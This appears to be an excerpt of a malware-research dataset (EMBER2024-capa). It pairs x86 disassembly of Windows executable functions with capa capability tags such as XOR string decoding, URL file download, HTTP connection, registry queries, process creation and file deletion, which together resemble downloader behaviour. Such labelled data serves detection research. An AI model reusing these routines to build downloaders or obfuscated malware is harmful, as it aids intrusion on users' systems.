joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40971c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x494190]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x44
mov eax, 0x46a69a
call fcn.0044e509
mov ecx, dword [ebp + 0x10c]
mov eax, dword [ebp + 0x118]
mov esi, dword [ebp + 0x110]
mov edi, dword [ebp + 0x114]
xor ebx, ebx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], ebx
call fcn.00403958
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x11c]
cmp eax, ebx
jne 0x409786
lea eax, [ebp - 0x14]
push eax
push 0x20019
jmp 0x409790
lea ecx, [ebp - 0x14]
push ecx
or eax, 0x20019
push eax
push ebx
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x409852
push 0xfe
lea eax, [ebp + 1]
push ebx
push eax
mov byte [ebp], bl
call fcn.0044de20
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x30], 0xff
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x1c]
mov dword [ebp - 0x18], 4
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x409849
push dword [ebp - 0x18]
call fcn.00450968
pop ecx
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x24]
push eax
push ebx
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x409842
cmp dword [ebp - 0x24], 1
jne 0x409842
mov ecx, dword [ebp - 0x20]
push edi
call fcn.00404027
push edi
call fcn.0044e053
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.0044e4c7
add ebp, 0x104
leave
ret
Function at 0x409f9e
Capabilities:
Encode data using xor

Disassembly:
push 0xc8
mov eax, 0x46a829
call fcn.0044e53f
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x50], edi
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], edi
call fcn.00404056
pop ecx
pop ecx
mov byte [ebp - 4], 1
call fcn.0042c398
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403762
xor esi, esi
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], edi
jbe 0x40a00f
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403505
xor byte [eax], 0x4b
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403505
movsx ax, byte [eax]
movzx eax, ax
push eax
lea ecx, [ebp - 0x4c]
call fcn.00408ced
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x409fe4
mov esi, dword [ebp + 0x28]
dec esi
cmp esi, edi
jle 0x40a09d
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd4]
call fcn.00407fcf
push dword [eax]
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.004023c4
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 5
cmp dword [ebp - 0xd4], eax
je 0x40a055
push dword [ebp - 0xd4]
call fcn.0044e053
pop ecx
push dword [ebp + 0x2c]
lea eax, [ebp - 0x48]
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push eax
call fcn.00401f80
lea eax, [ebp - 0x50]
push eax
call fcn.00409f9e
add esp, 0x28
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 6
call fcn.00408de1
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
call fcn.00401264
push edi
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.004018e2
inc esi
cmp dword [ebp + 0x2c], esi
jne 0x40a0d5
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax - 0xc]
sub eax, dword [ebp + 0x2c]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00408662
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 7
call fcn.00408de1
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401264
lea ecx, [ebp - 0x4c]
call fcn.00408d3d
mov ecx, eax
call fcn.00408d86
push eax
mov ecx, ebx
call fcn.004074f5
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
call fcn.00401264
push edi
push 1
lea ecx, [ebp - 0x2c]
call fcn.004018e2
push edi
push 1
lea ecx, [ebp + 0xc]
call fcn.004018e2
mov eax, ebx
call fcn.0044e5c2
ret
Function at 0x41c4c2
Capabilities:
Create directory
Download url
Receive data

Disassembly:
push 0xc
mov eax, 0x46d574
call fcn.0044e4d6
mov esi, ecx
call fcn.0042c398
push eax
lea ecx, [ebp - 0x10]
call fcn.00403762
mov eax, dword [esi + 8]
mov ecx, dword [eax + 0xc]
xor ebx, ebx
cmp dword [ecx - 0xc], ebx
mov dword [ebp - 4], ebx
jg 0x41c530
push dword [eax + 4]
lea eax, [ebp - 0x18]
push eax
call fcn.0041c32c
mov eax, dword [eax]
mov ecx, dword [esi + 8]
mov ecx, dword [ecx + 8]
push 0x5c
push eax
push ecx
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 4], 1
call fcn.0041c3f8
add esp, 0x18
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00403f66
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401264
jmp 0x41c553
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 8]
push 0x5c
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0041c3f8
add esp, 0x10
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.00403f66
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.00401264
mov eax, dword [esi + 8]
push ebx
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esi + 8]
mov eax, dword [eax + 4]
push esi
mov esi, dword [ebp - 0x10]
push ebx
push esi
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, ebx
jge 0x41c596
mov dword [ebp - 0x18], eax
push 0x4892a8
lea eax, [ebp - 0x18]
push eax
call fcn.0044e007
lea ecx, [esi - 0x10]
call fcn.00401264
call fcn.0044e5ae
ret
Function at 0x41ca3a
Capabilities:
Delete file

Disassembly:
push 0x38
mov eax, 0x46d5fb
call fcn.0044e4d6
xor ebx, ebx
push 8
mov dword [ebp - 4], ebx
call fcn.0042a2cc
pop ecx
cmp eax, ebx
je 0x41ca62
mov dword [eax + 4], ebx
mov dword [eax], vtable.CBitmap.0
jmp 0x41ca64
xor eax, eax
cmp dword [0x492994], 0xfffffffe
mov dword [ebp - 0x14], eax
mov esi, 0x49593c
jne 0x41cabe
push esi
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x24], esp
push str.Bh8OIgEiJDgHJho7ASE4dg
call fcn.004023c4
lea eax, [ebp - 0x18]
push eax
call fcn.00409f9e
add esp, 0x28
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00407fb5
push eax
call fcn.0041c803
pop ecx
pop ecx
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
mov dword [0x492994], eax
mov byte [ebp - 4], bl
call fcn.00401264
cmp dword [0x492994], 0xffffffff
je 0x41cc2b
lea ecx, [ebp + 8]
call fcn.004034eb
push eax
lea ecx, [ebp - 0x18]
call fcn.0041c9f6
push ebx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.00407fb5
push eax
call fcn.0041c743
pop ecx
pop ecx
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
mov dword [ebp - 0x24], edi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
cmp edi, ebx
je 0x41cc0b
push ebx
push esi
push dword [ebp - 0x10]
mov ecx, edi
call fcn.0041c761
cmp eax, 0xffffffff
je 0x41cc0b
push ebx
call dword [sym.imp.USER32.dll_GetDC]
push 0x10
mov dword [ebp - 0x14], eax
call fcn.0042a2cc
pop ecx
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 3
cmp eax, ebx
je 0x41cb48
mov ecx, eax
call fcn.00432160
mov esi, eax
jmp 0x41cb4a
xor esi, esi
push dword [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.004325f4
lea ecx, [ebp - 0x34]
call fcn.00432160
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 4
call fcn.00432160
push esi
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 5
call fcn.0041c6db
push esi
lea ecx, [ebp - 0x44]
call fcn.0041c6db
push 8
call fcn.0042a2cc
pop ecx
cmp eax, ebx
je 0x41cb99
mov dword [eax + 4], ebx
mov dword [eax], vtable.CBitmap.0
mov edi, eax
jmp 0x41cb9b
xor edi, edi
push ebx
push dword [ebp - 0x10]
call fcn.0041c7c1
pop ecx
pop ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
mov dword [ebp - 0x1c], ebx
call fcn.0041c7df
push dword [ebp - 0x20]
mov ecx, edi
call fcn.004328c4
cmp edi, ebx
jne 0x41cbca
xor eax, eax
jmp 0x41cbcd
mov eax, dword [edi + 4]
push eax
push dword [ebp - 0x30]
call fcn.004329a3
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.USER32.dll_ReleaseDC]
cmp esi, ebx
je 0x41cbed
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax + 4]
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 4
call fcn.00432671
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 2
call fcn.00432671
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp edi, ebx
je 0x41cc20
mov eax, dword [edi]
push 1
mov ecx, edi
call dword [eax]
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.00401264
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x41cc3e
mov ebx, dword [eax + 4]
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401264
mov eax, ebx
call fcn.0044e5ae
ret
Function at 0x41cc51
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x108
lea ebp, [esp - 4]
mov eax, dword [0x494190]
xor eax, ebp
mov dword [ebp + 0x108], eax
push 8
mov eax, 0x46d61e
call fcn.0044e4d6
mov esi, dword [ebp + 0x114]
and dword [ebp - 0x10], 0
push 0x105
lea eax, [ebp]
push 0
push eax
call fcn.0044de20
add esp, 0xc
lea eax, [ebp]
push eax
push 0
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.DzwkcwkjODIOJTx2
call fcn.004023c4
lea eax, [ebp - 0x10]
push eax
call fcn.0040420d
mov edi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
call fcn.00404601
mov edi, dword [edi]
mov eax, dword [eax]
add esp, 0x2c
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp - 0x10]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401264
lea eax, [ebp]
push eax
mov ecx, esi
call fcn.0040453d
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x108]
xor ecx, ebp
call fcn.0044e4c7
add ebp, 0x10c
leave
ret
Function at 0x41dbac
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x494190]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x44
mov eax, 0x46d910
call fcn.0044e4d6
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.LSV_EgkKey0DCiQRDyMoDAIiLH4BDywgBx9zEwkafy0qPHtACISPhsIGn4CDDgSByFzYAQzKA0PMzh2
mov byte [ebp - 0xd], 0
call fcn.004023c4
lea eax, [ebp - 0x14]
push eax
call fcn.0040420d
add esp, 0x28
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
and dword [ebp - 4], 0
lea eax, [ebp - 0x24]
push eax
mov ebx, 0x20019
push ebx
push 0
push dword [ebp - 0x14]
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push edi
call esi
test eax, eax
jne 0x41dcfc
push 0xfe
push eax
mov byte [ebp], al
lea eax, [ebp + 1]
push eax
call fcn.0044de20
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x2c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp dword [ebp - 0x1c], 1
jbe 0x41dc7e
mov byte [ebp - 0xd], 0
jmp 0x41dcf3
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.CSIOCAYsPAAMLB4PBjE8Cg8JO2QOPCAiCiIaDgwJO2QKGiN8EQp7cwMsGg8uHywNCQksIAEsKCMbCAoODAogfg8KI2QRCTgjBAkGAQwlBjsPHw19LRkOHwQyKD8uCAVgByM7eS8sdnY
call fcn.004023c4
lea eax, [ebp - 0x20]
push eax
call fcn.0040420d
add esp, 0x28
lea eax, [ebp - 0x28]
push eax
push ebx
xor ebx, ebx
push ebx
push dword [ebp - 0x20]
push edi
call esi
test eax, eax
jne 0x41dce8
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push 0x477c04
push dword [ebp - 0x28]
mov dword [ebp - 0x30], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41dcdf
cmp dword [ebp - 0x18], 1
je 0x41dcdf
mov byte [ebp - 0xd], 1
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.00401264
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401264
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.0044e4c7
add ebp, 0x104
leave
ret
Function at 0x41ed84
Capabilities:
Resume thread

Disassembly:
push 0
mov eax, 0x46db99
call fcn.0044e4d6
mov edi, ecx
push 0x20
mov dword [ebp - 4], 2
call fcn.0042a2cc
xor ebx, ebx
pop ecx
cmp eax, ebx
je 0x41edb2
mov ecx, eax
call fcn.0041d045
mov esi, eax
jmp 0x41edb4
xor esi, esi
lea eax, [ebp + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.00403f66
lea eax, [ebp + 0x10]
push eax
lea ecx, [esi + 0x10]
call fcn.00403f66
mov eax, dword [edi + 0x124]
mov dword [esi + 4], eax
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 8]
call fcn.00403f66
mov eax, dword [edi + 0x20]
push ebx
push 4
push ebx
push ebx
push esi
push 0x41ea89
mov dword [esi], eax
mov byte [esi + 0x14], bl
mov byte [esi + 0x15], bl
call fcn.0042d928
lea ecx, [edi + 0x148]
mov dword [ecx], eax
cmp eax, ebx
je 0x41ee18
mov dword [eax + 0x28], ebx
mov eax, dword [ecx]
push dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x41ee26
mov byte [edi + 0x14d], 1
mov byte [edi + 0x14e], 1
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.00401264
call fcn.0044e5ae
ret 0xc
Function at 0x424b7a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x44]
push esi
push eax
call fcn.0044de20
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x44]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x44], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne al
pop esi
leave
ret 8

Function at 0x42ea78
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x469eda
call fcn.0044e4d6
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x42ea9d
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x42eae3
lea ecx, [ebp - 0x10]
call fcn.00403958
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0042a464
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401264
mov eax, esi
call fcn.0044e5ae
ret 8

Function at 0x430b20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x430b68
call fcn.0042c22a
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x430b68
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x430bab
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x430b94
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x430b94
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x430ba8
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x431e98
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x431ebc
cmp dword [edi + 0x54], 0
jne 0x431ebc
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0042c22a
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00431e59
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x43869c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x4386e3
call fcn.0042c22a
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4386e3
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x4386ff
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00438216
mov esi, eax
test edi, edi
je 0x4386fd
test ebx, ebx
je 0x4386fd
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x43a247
Capabilities:
Create http request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x43a272
call fcn.0042c22a
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi + 8], eax
test eax, eax
jne 0x43a295
push eax
push dword [esi + 4]
call fcn.0043a1cd
push esi
push eax
mov ecx, 0x4a4200
call fcn.00439e41
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x43aafa
Capabilities:
Connect to http server

Disassembly:
push 4
mov eax, 0x4702c2
call fcn.0044e4d6
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 0x1c]
mov edi, dword [ebp + 8]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call fcn.0043aaba
and dword [ebp - 4], 0
lea ecx, [esi + 0x18]
mov dword [esi], vtable.CHttpConnection.0
call fcn.00403958
push dword [esi + 8]
mov edi, dword [edi + 8]
push 0
push 3
push dword [ebp + 0x18]
mov byte [ebp - 4], 1
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [esi + 4], eax
test eax, eax
jne 0x43ab60
push eax
push dword [esi + 8]
call fcn.0043a1cd
push dword [esi + 0xc]
mov ecx, 0x4a4200
push eax
call fcn.00439e41
mov eax, esi
call fcn.0044e5ae
ret 0x18
Function at 0x44e4c7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x494190]
jne 0x44e4d1
repz ret
jmp fcn.004588fc

Function at 0x463c57
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004568d4
and dword [ebp - 4], 0
cmp dword [0x4a4fcc], 0
mov ebx, eax
jne 0x463d08
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x463db9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x480bd4
push edi
call esi
test eax, eax
je 0x463db9
push eax
call fcn.00456862
mov dword [esp], 0x480bc4
push edi
mov dword [0x4a4fcc], eax
call esi
push eax
call fcn.00456862
mov dword [esp], 0x480bb0
push edi
mov dword [0x4a4fd0], eax
call esi
push eax
call fcn.00456862
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4a4fd4], eax
call esi
push eax
call fcn.00456862
pop ecx
mov dword [0x4a4fdc], eax
test eax, eax
je 0x463d08
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00456862
pop ecx
mov dword [0x4a4fd8], eax
mov eax, dword [0x4a4fd8]
cmp eax, ebx
je 0x463d60
cmp dword [0x4a4fdc], ebx
je 0x463d60
push eax
call fcn.004568dd
push dword [0x4a4fdc]
mov esi, eax
call fcn.004568dd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x463d60
test edi, edi
je 0x463d60
call esi
test eax, eax
je 0x463d57
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x463d57
test byte [ebp - 0xc], 1
jne 0x463d60
or dword [ebp + 0x10], 0x200000
jmp 0x463d99
mov eax, dword [0x4a4fd0]
cmp eax, ebx
je 0x463d99
push eax
call fcn.004568dd
pop ecx
test eax, eax
je 0x463d99
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x463d99
mov eax, dword [0x4a4fd4]
cmp eax, ebx
je 0x463d99
push eax
call fcn.004568dd
pop ecx
test eax, eax
je 0x463d99
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4a4fcc]
call fcn.004568dd
pop ecx
test eax, eax
je 0x463db9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x463dbb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4028d0
Capabilities:
Terminate process

Disassembly:
call fcn.00401000
push 0x18
push 0x4029f8
call fcn.004032a6
xor esi, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.MSVCR120_CLR0400.dll___crtGetShowWindowMode]
movzx ebx, ax
mov dword [ebp - 4], esi
mov eax, dword fs:[0x18]
mov edx, dword [eax + 4]
mov edi, esi
mov esi, 0x4150e8
mov ecx, edx
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
jne 0x404373
xor esi, esi
inc esi
cmp dword [0x4150ec], esi
je 0x404385
cmp dword [0x4150ec], 0
jne 0x402a1e
mov dword [0x4150ec], esi
push 0x4029f4
push 0x4029e4
call 0x587000
pop ecx
pop ecx
test eax, eax
jne 0x404392
cmp dword [0x4150ec], esi
jne 0x402973
push 0x4029e0
push 0x4029cc
call sub.MSVCR120_CLR0400.dll__initterm
pop ecx
pop ecx
mov dword [0x4150ec], 2
test edi, edi
jne 0x402980
xor eax, eax
mov ecx, 0x4150e8
xchg dword [ecx], eax
cmp dword [0x4150f8], 0
jne 0x4043a3
mov eax, dword [sym.imp.MSVCR120_CLR0400.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov edi, dword [ebp - 0x24]
nop
nop
nop
nop
nop
nop
mov cl, byte [esi]
cmp cl, 0x20
jbe 0x402a14
cmp cl, 0x22
je 0x4043d1
movzx eax, cl
push eax
call dword [sym.imp.MSVCR120_CLR0400.dll__ismbblead]
pop ecx
test eax, eax
jne 0x4043e2
inc esi
mov dword [ebp - 0x20], esi
jmp 0x4029a0
test cl, cl
je 0x402a29
test edi, edi
je 0x402a29
jmp 0x4029a7
mov dword [0x415244], esi
jmp 0x402950
mov al, byte [esi]
test al, al
je 0x402a39
cmp al, 0x20
ja 0x402a39
inc esi
mov dword [ebp - 0x20], esi
jmp 0x402a29
push ebx
push esi
push 0
push 0x400000
call fcn.00403044
mov dword [0x415060], eax
cmp dword [0x415064], 0
jne 0x40441a
push eax
call dword [sym.imp.MSVCR120_CLR0400.dll_exit]
test ecx, ecx
je 0x402a82
push ecx
call fcn.0040117d
jmp 0x402a82
mov eax, esi
pop esi
pop ebp
ret 4
cmp eax, edx
jne 0x402905
xor esi, esi
inc esi
mov edi, esi
jmp 0x402918
push 0x1f
call sub.MSVCR120_CLR0400.dll__amsg_exit
pop ecx
jmp 0x402950
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x404435
push 0x4150f8
call fcn.0040fdd0
pop ecx
test eax, eax
je 0x40298d
push 0
push 2
push 0
mov esi, dword [0x4150f8]
mov ecx, esi
call dword [0x416268]
call esi
jmp 0x40298d
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x24], edi
jmp 0x4029b0
inc esi
mov dword [ebp - 0x20], esi
jmp 0x4029c3
cmp dword [0x415244], 0
jne 0x40442e
call dword [sym.imp.MSVCR120_CLR0400.dll__cexit]
mov eax, dword [0x415060]
mov dword [ebp - 4], 0xfffffffe
call fcn.004032ee
ret